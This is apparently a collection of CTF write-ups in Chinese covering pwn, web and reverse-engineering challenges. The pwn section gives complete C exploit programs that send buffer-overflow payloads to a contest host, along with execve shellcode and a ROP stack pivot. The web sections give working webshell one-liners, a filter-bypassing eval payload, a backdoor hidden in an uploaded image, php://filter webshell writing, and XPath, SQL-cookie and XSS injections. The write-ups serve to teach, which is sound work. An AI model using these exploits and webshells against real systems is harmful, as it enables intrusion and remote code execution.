28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void
init_connect() {
char *arg[4] = {"/bin/cat", "10.170.55.102", "2335", NULL};
execve("/bin/netcat", arg, NULL);
}
void
write_payload(int fd) {
char payload[0x14] = "AAAABBBBCCCCDDDD\xfd\x84\x04\x08";
write(fd, payload, 0x14);
}
void
interact(int fd) {
int count = 0;
char command[0x100];
while (1) {
count = 0;
memset(command, '\x00', 0x100);
while (1) {
read(0, command + count, 0x1);
if (command[count] == '\n' || count >= 0xfe) {
break;
}
count++;
}
command[0xff] = '\x00';
write(fd, command, strlen(command));
}
}
int
main(void) {
int fd[2];
pid_t pid;
if (pipe(fd) < 0) {
printf("pipe error");
exit(1);
}
if ((pid = fork()) < 0) {
printf("fork error");
exit(1);
}
if (pid > 0) {
/* parent */
close(fd[0]);
write_payload(fd[1]);
interact(fd[1]);
/* simulate command "cat" */
close(fd[1]);
} else {
/* child */
close(fd[1]);
dup2(fd[0], 0);
init_connect();
close(fd[0]);
exit(0);
}
exit(0);
}


Pwn4

File: pwn4

WriteUp:

直接溢出跳到数据段上预先存放好的shellcode处即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BITS 32
_start:
jmp test1
test:
pop ebx
mov BYTE [ebx + 0x7], al
mov DWORD [ebx + 0x8], ebx
mov DWORD [ebx + 0xc], eax
lea ecx, [ebx + 0x8]
xor edx, edx
mov al, 0xb
int 0x80
test1:
xor eax,eax
call test
db '/bin/shA', 0x00

nasm shellcode.asm编译shellcode

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void
init_connect() {
char *arg[4] = {"/bin/cat", "10.170.55.102", "2336", NULL};
//execve("/bin/netcat", arg, NULL);
execve("./pwn4", arg, NULL);
}
char *
get_shellcode() {
FILE *f;
int c;
int count = 0;
char *shellcode = (char *)malloc(0x40);
f = fopen("shellcode","r");
while((c = fgetc(f)) != EOF) {
shellcode[count] = (char)c;
count++;
}
shellcode[count] = '\x00';
printf("%s", shellcode);
fclose(f);
return shellcode;
}
void
write_payload(int fd) {
char payload[0x80] = "AAAABBBBCCCCDDDD\x80\xa0\x04\x08";
strcat(payload, get_shellcode());
write(fd, payload, strlen(payload));
}
void
interact(int fd) {
int count = 0;
char command[0x100];
while (1) {
count = 0;
memset(command, '\x00', 0x100);
while (1) {
read(0, command + count, 0x1);
if (command[count] == '\n' || count >= 0xfe) {
break;
}
count++;
}
command[0xff] = '\x00';
write(fd, command, strlen(command));
}
}
int
main(void) {
int fd[2];
pid_t pid;
if (pipe(fd) < 0) {
printf("pipe error");
exit(1);
}
if ((pid = fork()) < 0) {
printf("fork error");
exit(1);
}
if (pid > 0) {
/* parent */
close(fd[0]);
write_payload(fd[1]);
interact(fd[1]);
/* simulate command "cat" */
close(fd[1]);
} else {
/* child */
close(fd[1]);
dup2(fd[0], 0);
init_connect();
close(fd[0]);
exit(0);
}
exit(0);
}

Pwn5

File: pwn5

WriteUp:

直接溢出覆盖ebp,即stack pivoting,将esp转移到数据段上的可控缓冲区上,然后通过rop来调用system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void
init_connect() {
char *arg[4] = {"/bin/cat", "10.170.55.102", "2337", NULL};
execve("/bin/netcat", arg, NULL);
}
void
write_payload(int fd) {
int i = 0;
/* junk */
write(fd, "AAAABBBBCCCC", 0xc);
/* adr_stage pivot */
write(fd, "\x00\xa5\x04\x08", 0x4);
/* junk */
for (i = 0; i < 0x0804a500 - 0x0804a080 + 4; i++) {
write(fd, "A", 0x1);
}
/* system@plt */
write(fd, "\xd0\x83\x04\x08", 0x4);
/* ret of system */
write(fd, "\xef\xbe\xad\xde", 0x4);
/* adr_stage + 0x30 */
write(fd, "\x30\xa5\x04\x08", 0x4);
for (i = 0; i < 0x20; i++) {
write(fd, "A", 0x1);
}
write(fd, "/bin/sh\x00", 0x8);
}
void
interact(int fd) {
int count = 0;
char command[0x100];
while (1) {
count = 0;
memset(command, '\x00', 0x100);
while (1) {
read(0, command + count, 0x1);
if (command[count] == '\n' || count >= 0xfe) {
break;
}
count++;
}
command[0xff] = '\x00';
write(fd, command, strlen(command));
}
}
int
main(void) {
int fd[2];
pid_t pid;
if (pipe(fd) < 0) {
printf("pipe error");
exit(1);
}
if ((pid = fork()) < 0) {
printf("fork error");
exit(1);
}
if (pid > 0) {
/* parent */
close(fd[0]);
write_payload(fd[1]);
interact(fd[1]);
/* simulate command "cat" */
close(fd[1]);
} else {
/* child */
close(fd[1]);
dup2(fd[0], 0);
init_connect();
close(fd[0]);
exit(0);
}
exit(0);
}

0x07 Web

苏打学姐的朋友

WriteUp:

描述说只有朋友才能访问,只需要修改Rrferrer为允许的就可以,看了给了几个链接,所以随意修改一个就可以
了。

苏打学姐撞上碳酸钠了

WriteUp:

打开源代码可以看到给的代码

1
2
3
4
5
6
key = "aa3OFF9m";
$pass = isset($_GET['pass']) ? $_GET['pass'] : "";
if ($pass != $key && sha1($pass)==sha1($key) ) {
echo $flag;
} else {
echo "sha1 conllision</br>";

根据意思只要将你输入的字符的sha1值和系统给的aa3OFF9m的sha1值对比,相等就可以得到flag,但是因为这是php

这个地方google也可以google到,只要找到另一个字符加密后也是0e开头就可以被代码判断相等了,至于这段特殊的字符,你可以自己脚本去碰撞。就是随机加密字符,一直到0e开头为止,也可以去搜索一下,坑呢个别人已经碰过呢。

最后payload


吓得苏打学姐都编码了

WriteUp:

一样打开源代码 可以看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
error_reporting(0);
function show_flag(){
$flag = "a f4ke flag";
echo $flag;
exit();
}
function anti(){
$query = $_SERVER['QUERY_STRING'];
$query = urldecode($query);
$query = strtolower($query);
if(preg_match('/show/', $query) or preg_match('/flag/', $query)){
return false;
}else{
return true;
}
}
if(anti()){
eval('"$str=(string)'.$_GET['str'].'";');
}else{
echo 'detect the evil words';
}

根据代码可以知道,只需要执行show_flag()这个函数就可以得到flag,并且代码将你传进来的字符str当着代码来执 行。

但是你不能直接就show_flag,会被anti()这个函数检查到,所以既然能够执行你传进来的代码,方式就很多了。你 可以把show_flag的编码一下,并且解码一下,就可以绕过了,这个给一个payload

1
str = ${${eval(base64_decode($_GET[0]))}}&0=c2hvd19mbGFnKCk7

其实这里给了eval就相当给了一个shell了,完全可以用菜刀连接了, 构造http://xxxxxxxxxxxx/evil.php?str=${${eval($_POST['pass'])}}


苏打学姐要打针了

Description:

学xml当然也要学习学习xpath咯–>http://www.w3school.com.cn/xpath/xpath_syntax.asp

WriteUp:

这个打开也可以看到源码 示,这是一个随xml文件中元素进行输出的代码。题目也给了xpath语法链接,其中有一
个重要的符号 | ,它可以将两个查询并焦输出, 原来的查询代码:
$query = “user/username[@id=’”.$uid.”‘]”; 所以我们可以构造一个特殊的查询:

1
']| //* |user['

解释:先用 ‘] 将原来的括号闭合,再来一个查询所有元素的查询语句 //* ,最后使用 user[‘ 将最后的符号闭合。三 个查询使用 | 连接起来。


苏打学姐不会PHP

WriteUp:

打开查看源代码有一个 示: .index.php.swp ,这是一个vim编辑器异常退出时生成的备份文件。所以下载下来恢
复一下,恢复,有很多人直接记事本打开看到,但是很乱,使用vim的命令恢复就很规整。 命令:

1
vim ‐r .index.php.swp

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
echo "<!‐‐.index.php.swp‐‐>";
if(!$_GET['id']){
header('Location: index.php?id=1');
exit(); }
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'what are you ganshane?';
return ; }
$data = @file_get_contents($a,'r');
if($data=="me7ell‐like‐you!" and $id==0 and eregi("biubiu".substr($b,0,1),"biubiu4") and
substr($b,0,1)!=4){
echo $flag; }
else{
print "go on...!!!";
}
?>

绕过分析:

  • id==0且!$_GET(“id”)为假,这个地方使用php弱类型就行。 比如构造:id=false,id=0e…
  • $a不包含点且a文件内容为特定的 a=http://your vps IP/test`把其中ip用iphex编码为0x739F915C iphex工具 在线
  • 最简单是使用php伪协议。使用php://input输入流
  • b满足eregi(“biubiu”.substr( b,0,1)!=4。这是低版本php的eregi函数的问题。 使用b=*, b=(什么也不填),都可 以绕过。


回字有几种写法

WriteUp:

url后面跟了一个id参数,猜测是sql注入。但是直接注入会发现被waf拦截。那么如何绕过waf呢,waf自身规则很严格,基本过滤了所有敏感字符。
我们post一个id参数,会被程序接收但是也同样被waf拦截了。但我们可以脑补一下程序员一定是使用了能同时接收get和post型的request函数,而request函数还能够通过cookie接收参数,而waf只对get和post来的数据进行了处理,而忽略了cookie,造成注入。

最终payload:
Cookie:id=-1 union select 1,2,flag,4 from `where`


easyXSS

Description:

http://ctf.math1as.com/xss2.php
请使用chrome 54/55进行本挑战
payload必须无需交互,成功弹出1即可
请注意,无需交互指的是用户不能做除了打开页面外的任何操作
完成挑战后,把截图和payload发到邮箱 mathias@l-team.org 来获得你的flag

WriteUp:

过滤了script

而其他几乎没有限制

所以主要的思路是要绕过Chrome的auditor

这里的通用方法是在敏感关键字处加入script

比如

当然,也可以用一些字符集的问题

比如

然后关键字插入%1B%28B来绕过


xss challenge

Description:

题目链接 http://ctf.math1as.com/xss.php
请使用最新的浏览器(chrome 54/firefox 50)进行本挑战
payload必须无需交互,请注意,无需交互指的是用户不能做除了打开页面外的任何操作,成功弹出1即可
完成挑战后,把截图和payload发到邮箱 mathias@l-team.org 来获得你的flag

WriteUp:

一道dom-xss,这里过滤了大部分的符号,比如.点号 ( 括号等

还有除了onfocus外的大部分事件

要构造出一个无需交互的payload

你需要使用autofocus

但是由于标签是并不在标准内

因此需要加入tabindex=0 使其支持这个事件

最后加入id=”2” location.hash处输入#2即可

但是我们的1被过滤了,怎么办呢

使用prompt函数,它支持用es6模板字符串传参

因此直接${3-2} 就成功的绕过了

1
http://ctf.math1as.com/xss.php?content=%22id=2%0atabindex=0%0aonfocus=prompt`${3-2}`|%22#2

当然,也可以使用

方法不再赘述


苏打学姐的相册

Description:

苏打学姐有一个小相册,首页是她最喜欢的一张照片,她把flag也放在相册里了,你能找到它吗?(说不定flag旁边还有苏打学姐的全套表情包^_^

WriteUp:

很明显这是一道上传绕过,先上源代码:
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<form id="uploadFileform" action="upload.php" method="post" enctype="multipart/form-data" >
<center>
<img src="static/upload/suda.png" />
<hr style="size: 1" />
</center>
<center>
<input id="uploadImage" value="" type="file" name="uploadImage" size="50" />
<p>今年苏打不收图,收图只收PNG</p>
<p>
<input class="primary" type="button" value="submit" onclick="uploadImages();"/>
</p>
<hr style="size: 1" />
</center>
</form>
<script src="jquery-3.1.1.min.js"></script>
<script>
function uploadImages() {
var str = $("#uploadImage").val().toLowerCase();
if(str.length!=0){
var reg = ".*\\.(png|jpg)";
var r = str.match(reg);
if(r == null){
alert("你往上传了个啥?!");
}
else {
if(window.ActiveXObject) {
var image=new Image();
image.dynsrc=str;
if(image.fileSize>51200){
alert("这图....有点大啊......别超50K吧");
return false;
}
}
else{
var size = document.getElementById("uploadImage").files[0].size;
if(size>51200) {
alert("这图....有点大啊......别超50K吧");
return false;
}
}
$('#uploadFileform').submit();
}
}
else {
alert("图呢?");
}
}
</script>

uload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//ini_set("display_errors",'On');
if(!$_FILES){
exit("图呢?");
}
if($_FILES['uploadImage']['size'] > 51200000){
exit("这图....有点大啊......别超50K吧");
}
if($_FILES['uploadImage']['type'] !== "image/png"){
exit("你往上传了个啥?");
}
$upload_dir = 'static/upload/';
$file_name = basename($_FILES['uploadImage']['name']);
$file_path = $upload_dir.$file_name;
$file_ext= substr($file_name, strrpos($file_name, '.') + 1);
if(eregi("^.*\.(php|php5|php4|php3|phps|ini|htaccess)$",$file_name)){
exit("你往上传了个啥?");
}
$file = fopen($_FILES['uploadImage']['tmp_name'],'rb');
$bin = fread($file,filesize($_FILES['uploadImage']['tmp_name']));
fclose($file);
$info = unpack('H8head',$bin);
if(!($info['head'] === '89504e47' )){
exit("你往上传了个啥?");
}
$black_list = array("<?php","<%","eval","assert");
foreach($black_list as $key=>$value){
if(stristr($bin,$value)){
exit("你是不是往图里插什么东西了.....我看出来了!");
}
}
move_uploaded_file($_FILES['uploadImage']['tmp_name'],$file_path);
echo 'Uploaded: '.$file_path;
?>

好吧,我们看有哪几个地方限制了上传:

  • javascript
  • 后缀名黑名单
  • MIME类型
  • 检测了文件头
  • 检测了文件内容里是不是含有<?php,<%,eval,assert

那我们上传一张正常的图片,然后在burp里修改后缀为可以被解析的phtml,然后往图片内容里插入一句话木马:

1
<script language="php">$e = $REQUEST['e'];$arr = array($POST['pass'],);array_filter($arr, base64_decode($e));</script>

绕过了内容检测,菜刀连上就可以啦

(有同学对这个后门有疑问,这个菜刀连的时候地址填http://xxx.xxx.xxx/eval.phtml?e=YXNzZXJD就可以啦,详细参见P总的博客https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html)


苏打学姐的另一个相册

Description:

咳咳..前面那个相册在前两天大家做题的时候被苏打发现了,所以她紧急删掉了自己珍藏的表情包……….但是亲爱的萌新们可能有所不知,苏打学姐的黑照在协会已流传多年,并且协会的高年级成员建了一个网站专门展示苏打学姐的黑照…….但好景不长,由于在网站上公开的黑照在网络上的影响过于恶劣,应有关部门要求下架了绝大部分照片.
而协会的大黑阔们把资源打了个加密包转移到了云上,链接,解压密码都还存在这个站上. 每次都通过一种极其”hack”的方式访问…..

WriteUp:

我们还是先看一下源代码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//int_set("display_errors","On");
if($_POST['shellname6ba3'] && $_POST['content8b7e']){
$prefix = "<?php exit(you die); ?>";
$content = $prefix.$_REQUEST['content8b7e'];
file_put_contents($_REQUEST['shellname6ba3'],$content);
}
$include_file = empty($_GET['file']) ? "photo":$_GET['file'];
if(preg_match('/\.\./',$include_file)){
exit('Impossible!');
}
include($include_file.'.php');
?>

photo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
if(!$_GET['id']){
$_GET['id'] = 1;
}
function query_filter($str){
$str = strtolower($str);
$black_list = array("\\","and","or"," ","/","*","+","="," ","\n");
$safe_str = str_replace($black_list,array(''),$str);
/*
while($str !== $safe_str){
$str = $safe_str;
$safe_str = str_replace($black_list,array(''),$str);
}
*/
return $safe_str;
}
$query_str = query_filter($_GET['id']);
$db_host = 'localhost';
$db_name = 'xdsec';
$db_username = 'web';
$db_password = "testr";
$mysqli = mysqli_connect($db_host, $db_username, $db_password, $db_name);
if(!$mysqli){
exit("DB error!");
}
$sql = "select * from pics where id =".$query_str;
//echo $sql;
$result = $mysqli->query($sql);
if(!$result){
exit("Query failed!");
}
$row = mysqli_fetch_row($result);
$pre_link = "index.php?file=photo&id=".($_GET['id']<=1 ? 1:$_GET['id']-1);
$next_link = "index.php?file=photo&id=".($_GET['id']+1);
print <<<HTML
<html>
<title></title>
<body>
<center>
<DIV ID="soccer">
<img SRC="{$row[1]}" border="0" onclick="javascript:window.open(this.src);" style="cursor:pointer;"/>
</DIV>
<hr>
<p>Description: {$row[3]}</p>
<p>Posted on {$row[2]}</p>
<hr>
<p><a href="{$pre_link}">上一张</p><p><a href="{$next_link}">下一张</p>
</center>
<SCRIPT>
var msecs=60;
var counter=0;
function soccerOnload(){
setTimeout("blink()", msecs)
}
function blink(){
soccer.style.visibility=(soccer.style.visibility=="hidden") ? "visible" : "hidden"
counter+=1;
setTimeout("blink()", msecs)
}
soccerOnload()
</SCRIPT>
</body>
</html>
HTML;
?>

首先这个题目看网
址就能发现一个?file=photo参数,所以很有可能有文件包含,事实也是这样子的,所以我们先用

1
php://filter/convert.base64-encode/resource=index

读出index的源代码,得到了可以写文件的参数,但是无论如何都会在你写的文件前面加上exit,我们需要绕过这个exit

所以构造payload:

1
content8b7e=aaaPD9waHAgZXZhbCgkX1BPU1RbJ3QnXSkgPz4=&shellname6ba3=php://filter/write=convert.base64-decode/resource=shell.php

content8b7e参数中前面的aaa是为了补齐<?php exit(you die); ?>中13个可以被base64解码的字节(phpexityoudie,其余的将被跳过)为16个字节,因为base64是每4个字节解码成3个字节,这样一来三个a连同前面的一起被当做base64编码解码成乱码从而绕过了exit的执行,后面的PD9waHAgZXZhbCgkX1BPU1RbJ3QnXSkgPz4=&shellname6ba3=被解码成一句话木马写入文件,拿菜刀连上就可以了 关于参数shellname6ba3,不再详细解释,详见P总博客 https://www.leavesongs.com/PENETRATION/php-filter-magic.html

PS: 这个题的数据库里还有”苏打门”的下载链接,Flag就是解压密码(当然…..下载下来以后其实是葫芦娃……)

0x08 Re

Easy GUI

Description: 最经典的Windows GUI逆向, 超简单的说.

File: EasyGUI.zip

WriteUp:

的确是最经典的Windows GUI逆向. 由Win AIP写成.

OD直接下断点

1
bp GetDlgItemTextA

断下来之后, Ctrl+F9回到用户空间, 直接就能找到验证部分的代码. 直接OD里面调试, 也可以根据地址在IDA里面读汇编/F5.

或者全程IDA分析可以(Ctrl+F12显示字符串, 根据输出的字串定位代码位置).

函数地址0x0401340, 加密方式是key和密文循环XOR, 计算后和输入进行比对(所以最懒得话可以直接在OD里试N次读出password).

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
key = [ord(x) for x in "WinAPI"] * 10
secret = [0x20,0x58,0x00,0x20,0x20,0x20,0x08,0x58,0x1D,0x1E,0x3F,0x25,0x33]
flag = []
for i in xrange(13):
flag.append(secret[i] ^ key[i])
flag = "".join([chr(s) for s in flag])
print(flag)
# flag:
# w1napi_1s_old

Easy Linux

Description:

IDA不好用了…那你知道GDB么? Linux下的神级动态调试器哦.

PS: 主程序是EasyLinux. 复制到虚拟机后记得”chmod +x EasyLinux”

File: EasyLinux.zip

WriteUp:

就是个Linux下的逆向而已…其实非常简单.

这个程序为了防止被IDA直接静态分析, 简单的玩了点低级的花招:

data.dat实际上是个.so文件(Linux的dll), 执行主程序后主程序会装载这个data.dat(Linux下文件没有后缀名这一说法).

真正的校验函数藏在这个data.dat中…所以有以下分析方案:

  • 直接IDA分析这个data.dat, IDA会识别出来. 然后F5大法即可. 但是要求能够看出data.dat的本质.
  • 在Linux下用GDB动态调试主程序, 因为很简单所以不是很难. 这也是本题当初的目的.

装载data.dat的步骤发生在main函数执行之前. 读附带的源代码可以明白原理.

校验函数及其简单, 仅仅是将密文的每一位和0xCC异或.

python脚本:

1
2
3
4
5
6
7
8
9
10
secret = [0x9B,0xFF,0xA0,0xAF,0xFC,0xA1,0xA9,0xFE,0x80,0xA5,0xA2,0xB9,0xB4]
key = 0xCC
flag = [(key ^ x) for x in secret]
flag = "".join([chr(s) for s in flag])
print(flag)
# flag
# W3lc0me2Linux

壶中的大银河

Description:

你知道Linux的signal机制么?

这次是Easy级的, 根本没有难度嘛.

File: Galaxy.zip

WriteUp:

有人吐槽之前LCTF出现了这个名字…实际上这个题目就是它的超简化版本(所以是Easy嘛).

听起来很迷, 实际上仅仅是Linux Signal而已.

首先程序在通过signal函数将校验函数和alarm信号关联起来. 然后正常的进行输入.

得到用户输入后调用alarm(1). 该函数会在延迟1秒后生成alarm信号. 随后校验函数被调用.

(Google Linux signal即可详细了解…)

校验函数仍然不是很难, 在程序中被命名为handler. 用户输入被保存在全局变量中, 校验函数从中读取输入.

输入要求长度为20. 然后对输入进行一次循环.

  • 偶数位(i = 0, 2, 4…): input[i] = input[i] ^ 0x9
  • 奇数位(i = 1, 3, 5…): input[i] = input[i] ^ input[0]

计算后和正确字串进行比较, 若不相等则将一个全局变量置为0(否则为1). main函数根据该标志输出结果语句.

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
secret = "8BVXznh]z^VXdAfC}PgE"
secret = [ord(x) for x in secret]
for i in xrange(20):
if (i % 2) == 0:
secret[i] = secret[i] ^ 0x09
else:
secret[i] = secret[i] ^ secret[0]
flag = "".join([chr(s) for s in secret])
print(flag)
# flag
# 1s_is_also_important

蓬莱的玉枝

Description:

一样的GUI.

有本事不拆使魔强行过呀(雾).

File: rand.zip

WriteUp:

仍然是win API的GUI. 实际上除了校验部分和EasyGUI是一个图形界面…(图形界面长什么样无所谓嘛)

在全局变量处保存了两个值seek和password, 均用于校验输入.

在程序运行初始化时:

  • 计算程序文件的校验和, 如果文件被修改, 则校验和不相等, 修改全局变量中的seek.

在校验函数执行前后:

  • 检测程序是否被调试器调试(仅仅使用了一个简单的API进行测试), 若没有被调试则将全局变量password的每一位和0x5异或.否则和0x9异或.

除去这两步, 剩下的方法和EasyGUI基本没有区别.

检验函数是使用rand生成一串序列, rand的种子数即为seek.

之后将password和rand序列按位异或(都是异或233). 计算后和输入进行比对.

得到flag思路: password ^ 0x5 -> password ^ rand(seek = 17) -> flag

C脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//Flag:
//LCTF{learn_more_think_more}
//compile command : gcc -std=c99 -o getflag getflag.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
unsigned int seek = 17;
unsigned char key = '\x05';
unsigned char randnum;
unsigned char res;
char password[] = "\x17\x14\xe7\x83\xa4\x63\xac\x91\xcb\xc5\x42\x4a\x8b\x5b\x9d\x93\x98\x5\x20\xb1\x29\xc1\x8c\x53\x92\x8d\x36";
srand(seek);
for(int i = 0; i < strlen(password); ++i){
randnum = (unsigned char)((unsigned int)rand() % 0xFF);
res = password[i] ^ randnum;
res = res ^ key;
printf("%c", res);
}
puts("");
return 0;
}

永遠の春夢

Description:

**

看似杂乱的没有通路…仔细观察下就会发现其实很简单呢~

PS: 这次有FB了哦~

Hint: SMC - Self Modify Code. 注意.text段的属性哦~

File: 123.zip

WriteUp:

典型的SMC(self modify code)程序.

具体的函数运行方式读源代码即可了解(已附在wp内).

程序是在编译后手动进行的首次加密…可以写个脚本, 或者IDA Script, 也可以更暴力的直接用WinHex(内置了XOR Edit).

简单来说, 程序在获取用户输入后会解密两块代码, 这两块代码分别对输入进行处理和检验.

有趣的是, 在处理输入后, 程序会立即再次将代码块加密回去. 而且两个代码块是交替解密的 – 也就是说没法dump内存.

对于这个程序, 因为逻辑简单, 所以定位了要解密的代码块的地址和长度以及使用的key后, 直接IDA Script(或者其他手段)将代码块全部还原.

然后F5大法即可. 需要注意的是, 处理加解密的函数F5没法第一次就正确分析…或许直接读汇编就可以了(也可以修正F5的结果).

这个里简单说一下校验:

  • 对于密文字串secret: secret[i] = (secret[i] + 0x30) % 0xFF
  • 对于输入pd: pd[i] = 0xFF & (((pd[i] << 4) & 0xFF) | ((pd[i] >> 4) & 0x0F)) (交换高低位)
  • 最后对pd和secret进行校验: pd[i] ^ 0x55 == secret[i]

python脚本:

1
2
3
4
5
6
7
8
9
10
secret = [97, 49, 223, 1, 178, 48, 81, 49, 112, 147, 50, 112, 210, 162, 51, 147, 225, 210, 226, 23, 82]
secret = [(x + 0x30) % 0xFF for x in secret]
secret = [x ^ 0x55 for x in secret]
secret = [0xFF & (((x << 4) & 0xFF) | ((x >> 4) & 0x0F)) for x in secret]
flag = "".join([chr(s) for s in secret])
print(flag)
# Flag:
# LCTF{SMC_is_excited!}

RE60

Description:考验你re基本功的时候到啦~

File:re60.3111C1CAF04BADB492CC8CC37F61218B740B4818

WriteUp:

  1. 拿到文件先用file查看

    snipaste_co38puChina Standard Timeernpm38e_u38ernpm38e_20161224_213838

  2. IDA打开发现在main函数中的两个字符串

snipaste_co42puChina Standard Timeernpm42e_u8ernpm42e_20161224_214208

  1. 发现判断程序是否成功逻辑的函数

    snipaste_co46puChina Standard Timeernpm46e_u2ernpm46e_20161224_214602

  2. 接着进一步查看下去,很容易发现关键算法就是字符串的逐位异或问题;HexStra就是我们的执行完异或算法的结果。

    gjsf

  3. 将上面两个字符串逐位异或即可得到flag:AB7E032568F1084CD8C78B7650AE30BF

snipaste_co13puChina Standard Timeernpm13e_u26ernpm13e_20161224_221326